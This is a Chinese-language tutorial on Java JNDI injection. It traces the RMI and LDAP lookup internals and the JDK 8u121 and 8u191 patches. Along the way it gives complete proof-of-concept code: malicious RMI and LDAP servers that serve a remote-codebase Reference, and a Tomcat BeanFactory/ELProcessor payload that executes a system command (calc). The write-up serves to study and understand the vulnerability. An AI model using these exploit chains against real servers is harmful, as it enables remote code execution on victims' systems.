java安全-JNDI注入

一、JNDI引用类型

1.实现

传统方式实现JNDI会有很多局限

image-20260225163246805

所以就出现了引用对象

一个 javax.naming.Reference 对象其实非常简单,它本质上是一个数据载体,里面主要装着 4 样东西:

  • className(目标类名): 最终要创建出来的那个对象的全限定类名(比如 com.zaxxer.hikari.HikariDataSource
  • RefAddr(地址/参数集合): 创建这个对象所需要的配方和参数。比如数据库的 URL、用户名、密码等
  • factoryClassName(对象工厂类名): 谁负责来把这个对象造出来?这是最核心的一点。JNDI 会去调用这个工厂类(实现 ObjectFactory 接口的类)的 getObjectInstance 方法
  • factoryClassLocation(工厂类的位置): 如果本地没有这个工厂类,去哪里下载?(**注意:这通常是一个远程的 HTTP 或 FTP 地址)
1
2
3
4
5
6
public class Reference implements Cloneable, java.io.Serializable {
protected String className; // 目标对象的类名
protected String classFactory; // ObjectFactory 的类名(谁来创建对象)
protected String classFactoryLocation; // ObjectFactory 的位置(可以是远程 URL!)
protected Vector<RefAddr> addrs; // 附加地址信息(构造参数等)
}

2.具体逻辑

对于调用 lookup("jdbc/MyDB") 的普通开发者来说,这一切都是透明的。他以为自己直接拿到了连接池,但实际上底层发生了一场偷梁换柱

  1. 客户端查找: 客户端代码调用 Context.lookup("jdbc/MyDB")
  2. 返回图纸: JNDI 底层向目录服务器(如 LDAP/RMI)请求,目录服务器发现绑定的不是真实对象,而是一个 Reference 对象,于是把这个 Reference 返回给 JNDI
  3. 转交工厂: JNDI 核心层(NamingManager)拿到 Reference 后,一看,“哦,这不是真实对象,是个引用”。它会提取出里面的 factoryClassName(对象工厂)
  4. 本地/远程加载: JVM 会先在本地 Classpath 找这个工厂类。如果找不到,它会根据 factoryClassLocation 提供的 URL 去远程服务器下载这个类的 .class 文件并加载
  5. 实例化并返回: JNDI 实例化这个工厂类,把参数(RefAddr)喂给它,工厂类大喊一声 new,创建出了真正的 DataSource 对象。JNDI 最后把这个真正的对象交到了你的代码手里

二、JNDI注入

1.poc实现

恶意服务端

src/main/java/chuan/rmi/RMIServer.java

1
2
3
4
5
6
7
8
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
}
}

rmi服务什么都不做,只是提供一个可绑定服务

chuan/rmi/JNDIRMIServer.java

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();

Reference refObj = new Reference("chuan", "chuan", "http://localhost:7777/");
initialContext.bind("rmi://localhost:1099/remoteObj1", refObj);
}
}

本地使用python3 -m http.server 7777服务开启一个网络请求,目录下放置chuan.class恶意类

image-20260225165249881

被攻击客户端

1
2
3
4
5
6
7
8
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj1");
System.out.println(remoteObj.sayHello("hello world"));
}
}

客户端只是发起了请求,就会直接攻击

也就是如果被攻击服务器可以控制lookup参数,便可以直接攻击

2.底层逻辑

2.1、服务端

1
2
Reference refObj = new Reference("chuan", "chuan", "http://localhost:7777/");
initialContext.bind("rmi://localhost:1099/remoteObj1", refObj);

绑定这里

javax/naming/InitialContext.java

image-20260225172140315

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class

image-20260225172348054

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class

image-20260225172919248

这里绑定仍然使用的是 RegistryImpl_Stub.class ,只不过绑定时,映射对象经历了一次加密过程

image-20260225173235812
1
这个过程其实是把 Reference 对象包装成 ReferenceWrapper,因为 Reference 本身没有实现 Remote 接口,不能直接被 RMI 传输,所以需要用 ReferenceWrapper 来包一层,它实现了 Remote 接口,才能被 RMI 序列化传输出去

2.2、客户端

1
RemoteObj remoteObj  = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj1");

javax/naming/InitialContext.java

image-20260225165834360

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class

image-20260225165909288

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class

image-20260225171549278
  • 图中 VAR2 的赋值就是通过向 rmi 服务器调用 invoke 方法去获取一个 var1 也就是remote1 的对象

  • 可以看到返回为一个引用类型为 ReferenceWrapper_Stub 的引用对象

    也就是我们之前在服务端创建的

image-20260225173804913

获取引用对象下一步之后,就是利用相同逻辑反处理客户端加密的类

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class

image-20260225174219030

javax/naming/spi/NamingManager.java

image-20260225174506832

而且这个类算是一个通用的类,所以在其他的 JNDI 服务中也可能会出问题

接着查看最重要的一环

image-20260225175345652

  • 第一点,直接加载类名 factoryName 传参chuan

    image-20260225175552990

    类加载器,直接就是APPClassLoader

    1
    2
    3
    先从本地 ClassPath 找 chuan 这个类
    如果本地有 → 直接用,不去远程下载
    如果本地没有 → 进入第二步
  • 第二点,使用 codebase 传参然后加载

    image-20260225175926891

    **接着进入到这里,会创建一个 URLClassLoader **

    image-20260225180101191

    接着 loadClass

    image-20260225180217987

    这一步就会直接调用静态代码块

  • 接着第三点,进行类的实例化

    image-20260225180418983

    这一步会调用构造方法

3.总结

服务端

1
2
3
4
InitialContext.bind()
→ GenericURLContext.bind()
→ RegistryContext.bind()
→ RegistryImpl_Stub.bind()(底层 RMI 传输)

客户端

1
2
3
4
5
6
InitialContext.lookup()
→ GenericURLContext.lookup()
→ RegistryContext.lookup()
→ RegistryImpl_Stub.lookup() // 网络请求,拿回 ReferenceWrapper_Stub
→ decodeObject() // 解包,还原出 Reference
→ NamingManager.getObjectInstance() // 关键!

三、高版本绕过-8u121

1.jdk8u121修复点

1.1、版本问题

JDK 8u121 的核心修复点(针对 JNDI)是:默认禁用通过 RMI Registry / COS Naming 的 JNDI 远程 class loading(URL codebase)

以及 7u131、6u141版本

image-20260225185240007

1.1、具体逻辑

引入了一个系统属性

1
com.sun.jndi.rmi.object.trustURLCodebase

8u121 之前:默认 true,信任远程 codebase,可以随意加载
8u121 之后:默认改为 false,不再信任远程 codebase

image-20260225185650681

具体函数逻辑如下

image-20260225185826653

也就变成了这个报错,不会在加载恶意类

image-20260225185920585

2.绕过

2.1、poc

之前提到ladp也可以作为一种JNDI服务,而且代码恶意逻辑是公用的,这里只是禁用了俩种,所以直接使用ladp服务,如入无人之境

这里我们使用java创建ladp的服务端

恶意ladp服务端

chuan/rmi/JNDILDAPServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class JNDILDAPServer {
public static void main(String[] args) throws Exception {

InMemoryDirectoryServerConfig config =
new InMemoryDirectoryServerConfig("dc=example,dc=com");

config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
1389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));

config.setSchema(null);

InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);

// 关键!先把父节点 dc=example,dc=com 创建出来
server.add(
"dn: dc=example,dc=com",
"objectClass: top",
"objectClass: domain",
"dc: example"
);

server.startListening();
System.out.println("[*] LDAP Server 启动,监听 1389 端口,等待 bind...");

Thread.currentThread().join();
}
}

绑定

chuan/rmi/JNDILDAPBind.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class JNDILDAPBind {
public static void main(String[] args) throws Exception {

// 指定 LDAP 工厂和地址(对标 RMI 版 InitialContext 自动解析 rmi://)
Hashtable<String, String> env = new Hashtable<>();
env.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
env.put("java.naming.provider.url", "ldap://localhost:1389");

InitialContext initialContext = new InitialContext(env);

// 和 RMI 版完全一样!
Reference refObj = new Reference("chuan", "chuan", "http://localhost:7777/");
initialContext.bind("cn=remoteObj1,dc=example,dc=com", refObj);

System.out.println("[*] bind 成功!");
}
}

客户端

chuan/rmi/JNDIRMIClient.java

1
2
3
4
5
6
7
8
9
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
// RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj1");
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://127.0.0.1:1389/cn=remoteObj1,dc=example,dc=com");
System.out.println(remoteObj.sayHello("hello world"));
}
}

2.2、底层实现

1
RemoteObj remoteObj  = (RemoteObj) initialContext.lookup("ldap://127.0.0.1:1389/cn=remoteObj1,dc=example,dc=com");

javax/naming/InitialContext.java

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);******
}

这一段依旧是判断分别,是哪一个服务

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext.class

1
2
3
4
5
public Object lookup(String var1) throws NamingException {
return super.lookup(var1);******1

}
}

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class

1
2
3
4
5
6

public Object lookup(String var1) throws NamingException {
var4 = var3.lookup(var2.getRemainingName());*******2

}

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\toolkit\ctx\PartialCompositeContext.class

1
2
3
4
5
public Object lookup(Name var1) throws NamingException {   
***********3
for(var5 = var2.p_lookup(var6, var4); var4.isContinue(); var5 = var2.p_lookup(var6, var4)) {

}

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\toolkit\ctx\ComponentContext.class

1
2
3
4
5
6
7
protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
Object var3 = null;
***4
var3 = this.c_lookup(var4.getHead(), var2);

return var3;
}

这里就是重要逻辑

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx.class

image-20260225200455354

这个var4应该是attr,这个是从ladp上获取的属性

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\ldap\Obj.class

image-20260225201120064
  • D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\ldap\Obj.class方法详解

    image-20260225201849890

**然后回到 LdapCtx **

image-20260225202403777

javax/naming/spi/DirectoryManager.java

这个工具类继承了NamingManager也就是rmi解析时用到的类

image-20260225202824780

因为子类没有这个方法,又回去调用父类也就是NamingManager.java中的

image-20260225202941063

在jdk8u191此漏洞确定被修复

image-20260225203418035

四、高版本绕过-8u191

环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
openjdk
https://codeload.github.com/openjdk/jdk8u/zip/refs/tags/jdk8u191-b26

oraclejdk
https://download.oracle.com/otn/java/jdk/8u191-b12/

pom文件引入tomcat
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.73</version> </dependency>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.73</version>
</dependency>

1.jdk8u191修复点

image-20260226144506165

JDK 8u191 的关键点不是第一次“提出限制”,而是把 LDAP 这条 JNDI 远程 codebase 加载限制真正收紧并默认关掉(com.sun.jndi.ldap.object.trustURLCodebase=false),并在类加载实现处做了显式判断,不再无条件创建 URLClassLoader 去加载远程类

源码修复在下面

LdapCtx这个是当初后面解密时用到的,这里进入到包装工具类

D:\security\JDKs-cyber\oracle_JDKs\JDK8u191\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx.class

image-20260226145435488

javax/naming/spi/DirectoryManager.java

image-20260226145645357

getObjectInstance这个方法会调用父类NamingManager#getObjectFactoryFromReference

javax/naming/spi/NamingManager.java

image-20260226145815961 image-20260226145900140

接着会进行类加载,依旧是先本地后远程

image-20260226150241892

com/sun/naming/internal/VersionHelper12.java

image-20260226150338013

image-20260226150627343

自此,jdk191之后,jndi注入完结!

1
2
3
4
5
6
7
8
9
10
11
客户端 lookup("ldap://...")
→ LdapCtx 连接 LDAP 服务器
→ 拿回 Entry(含 javaCodeBase / javaFactory 属性)

← 8u191 在这里插入拦截!←
Obj.decodeObject() 读到 codebase 不为 null
检查 trustURLCodebase → 默认 false
→ 直接抛异常,流程结束

→ NamingManager.getObjectInstance() // 进不来了
→ URLClassLoader 远程下载 // 进不来了 💥

2.绕过

2.1、主要逻辑

既然限制了远程的危险类加载,于是我们尝试寻找一些本地的危险类

image-20260226152034139
1
所以攻击者的目标变成了:找一个本地已有的类,它实现了 ObjectFactory,并且 getObjectInstance() 方法里有可以被利用的逻辑。

org/apache/naming/factory/BeanFactory.java

image-20260226154153499

image-20260226154521137

这个是tomcat中一个核心类,在常见springboot服务中可以直接调用

而且

在 Tomcat 的 EL(表达式语言)依赖库中,恰好有一个类叫 javax.el.ELProcessor。 它有一个方法叫 eval(String expression),可以直接解析并执行一段 EL 表达式代码,而 EL 表达式是具备执行任意 Java 代码能力的!

于是构造如下服务端,让其想 rmi 服务中注册恶意引用,然后客户端调用时,直接爆炸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {

InitialContext initialContext = new InitialContext();

// ================= 开始组装 BeanFactory 本地绕过 Payload =================

// 1. 使用 Tomcat 的 ResourceRef 替代普通的 Reference
// 参数解释:目标类名(ELProcessor), 描述, scope, auth, forceString, 工厂类名(BeanFactory), 工厂类位置(留空!)
ResourceRef refObj = new ResourceRef(
"javax.el.ELProcessor",
null, "", "", true,
"org.apache.naming.factory.BeanFactory",
null // 核心:这里是 null,彻底绕开 trustURLCodebase 的远程下载限制!
);

// 2. 配置 BeanFactory 的“后门”属性:forceString
// 这句话的意思是:强制把属性 'x' 的值,作为参数传给 ELProcessor 的 'eval' 方法去执行
refObj.add(new StringRefAddr("forceString", "x=eval"));

// 3. 编写最终的武器:利用 JS 引擎执行系统命令弹出计算器的 EL 表达式
String elPayload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")";

// 4. 将这段 EL 表达式作为属性 'x' 塞进去
refObj.add(new StringRefAddr("x", elPayload));

// ========================================================================

// 5. 将伪造好的 ResourceRef 绑定到 RMI 注册表上
initialContext.bind("rmi://localhost:1099/remoteObj1", refObj);

System.out.println("[+] 恶意 BeanFactory 引用已成功绑定至 rmi://localhost:1099/remoteObj1");
System.out.println("[+] 等待受害者来 lookup...");
}
}
image-20260226155328398
1
2
3
String elPayload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")";

image-20260226155724616

2.2、底层实现

image-20260226160438053

image-20260226161204393

五、总结

一、 起:JNDI 的本质与精妙设计

  • 核心定位: JNDI 是一个“智能路由器”和“大管家”。它的初衷是为了解耦,让 Java 应用能通过一个标准名称(Name)去外部(LDAP、RMI 目录)寻找并使用资源(如数据库连接池)
  • 底层架构: 分为 API(开发者用)和 SPI(底层协议实现,如 rmi:// 自动切 RMI,ldap:// 自动切 LDAP)
  • 伟大的发明——引用对象 (Reference): 因为很多底层资源(如连接池)无法直接序列化传输,JNDI 发明了 Reference。它不传对象本身,只传**“图纸”**(classNamefactoryClassNamefactoryClassLocation),让客户端拿到图纸后在本地自己造对象

二、 承:潘多拉魔盒的打开 (传统 JNDI 注入)

  • 万恶之源: NamingManager.getObjectInstance()。当客户端去 lookup 一个恶意的 Reference 时,底层会根据图纸里的 factoryClassLocation远程 HTTP 服务器下载未知的 .class 文件
  • 致命打击: JVM 只要一实例化这个远程下载来的工厂类(调用 newInstance()),就会触发类里面的静态代码块或构造方法,直接导致 RCE(远程代码执行),你的电脑就会被弹计算器

三、 转:Oracle 的围追堵截 (补丁演进与协议差异)

  • JDK 8u121 (RMI 封杀): 官方醒悟,把 trustURLCodebase 默认设为 false,强行禁止了 RMI 协议去远程下载工厂类
  • LDAP 的狂欢: 因为官方忘了补 LDAP 的漏,导致黑客把前缀换成 ldap:// 继续横行霸道。且 LDAP 的 bind 和 RMI 不同,RMI 绑定是“活体对象驻留”(一直占着 1099 端口),LDAP 绑定是“数据入库”(一秒搞定退出),更适合黑客伪造
  • JDK 8u191 (全面封杀): 官方终于把 LDAP 的远程下载开关也关上了,JNDI 注入的“外挂图纸”时代宣告终结

四、 合:绝地反击的黑魔法 (本地 Factory 绕过)

  • 核心思想: 既然不让从外面带杀手进来,那就找本地 Classpath 里的“内鬼”

  • 完美内鬼: Tomcat 自带的 org.apache.naming.factory.BeanFactory

  • 攻击链条: 1. 构造一个恶意的 ResourceRef,不填远程地址(绕过 8u191 拦截)

    1. 利用 BeanFactory 的 forceString 危险特性,强行扭曲赋值逻辑

    2. 把恶意字符串(EL 表达式,如 "Runtime.getRuntime().exec('calc')" 或更高级的 JS 引擎桥接代码)强塞给 javax.el.ELProcessoreval 方法去执行

    3. 达成纯本地依赖环境下的完美 RCE